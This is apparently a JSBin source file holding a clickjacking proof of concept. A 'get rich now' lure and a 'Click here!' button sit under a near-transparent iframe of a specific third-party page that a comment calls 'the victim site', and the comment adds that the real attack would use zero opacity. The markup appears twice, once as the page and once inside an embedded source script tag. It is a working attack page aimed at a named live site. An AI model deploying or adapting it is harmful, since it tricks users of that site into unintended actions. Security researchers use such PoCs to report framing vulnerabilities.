// source https://jsbin.com

index.html

<style>
.parent {
    margin-top: -690px;
    margin-left: -360px;
    position: absolute;
    opacity: 0.2; /* in real opacity:0 */
    z-index: 1;
}
</style>

<div>Click to get rich now:</div>
<br>

<!-- The url from the victim site -->
<div class="parent">
    <iframe src="https://pub.bitrabbit.com/groups/water/topics/91109" height="1000px" width="1000px"></iframe>
</div>

<button>Click here!</button>
<script id="jsbin-source-html" type="text/html"><style>
.parent {
    margin-top: -690px;
    margin-left: -360px;
    position: absolute;
    opacity: 0.2; /* in real opacity:0 */
    z-index: 1;
}
</style>

<div>Click to get rich now:</div>
<br>

<\!-- The url from the victim site -->
<div class="parent">
    <iframe src="https://pub.bitrabbit.com/groups/water/topics/91109" height="1000px" width="1000px"></iframe>
</div>

<button>Click here!</button>
</script>